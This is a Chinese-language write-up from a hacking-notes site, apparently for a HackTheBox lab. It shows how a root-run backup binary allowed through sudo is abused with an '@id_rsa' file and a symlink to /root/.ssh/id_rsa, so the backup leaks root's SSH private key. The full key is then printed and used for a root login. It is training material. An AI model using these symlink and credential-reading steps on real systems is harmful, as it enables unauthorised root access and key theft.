> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# Sudo 备份二进制文件符号链接 - Linux 权限提升

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（备份二进制文件/符号链接）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

### Sudoers 二进制利用：

通过运行 `sudo -l` 作为一个 `xander` 用户，你可以运行 `usage_management` 二进制程序，具有三个选项：

1. *`项目备份`*
2. *`备份 MySQL 数据`*
3. *`重置管理员密码`*

<figure><img src="/files/477efba122341d0443736513df878b3339741110" alt=""><figcaption></figcaption></figure>

通过选择第一个选项（“项目备份”），程序会创建一个 `.zip` 包含备份的文件，作为一个 `root` 用户。

<figure><img src="/files/99f675f7370473d2ac2554bdfc6ecc5d1d22e319" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a14b5893b1b69bf18d467786b949907d3fed4fe2" alt=""><figcaption></figcaption></figure>

### 二进制分析（GHIDRA）

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

安装并运行 GHIDRA 以扫描二进制文件：

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/b8343581f0e924b1269a05326a13f811d0d73bfe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b543b0f5a0155147909f6e1f978421a056bb5263" alt=""><figcaption></figcaption></figure>

* 在 `项目备份` 功能，此功能会压缩 `/var/www/html` 在一个 `project.zip` 文件，并以 root 权限创建。

<figure><img src="/files/36adb9a38866571d680d58a7f652949dc6c3e91b" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**创建了一个符号链接以访问 SSH root 密钥**：要利用此功能，请在 `html` 目录

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/6747e4c88f4a7f555612e862d93c8b3ab2d02187" alt=""><figcaption></figcaption></figure>

**以 root 用户执行脚本**:

* 启动脚本 `usage_management` :

<figure><img src="/files/abbd183ef37213f7158074aa5f9207a0facdbc1d" alt=""><figcaption></figcaption></figure>

* 在 `project.zip` 文件，获取 root 私钥（`id_rsa`).

<figure><img src="/files/ed985af48d8b21156fd4dd6196163f346b7d6039" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**使用 root 密钥的 SSH 连接**:

* 使用该密钥以 root 身份登录：

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/a110541fae2b06407bbf147be0fc3ba363fb4114" alt=""><figcaption></figcaption></figure>


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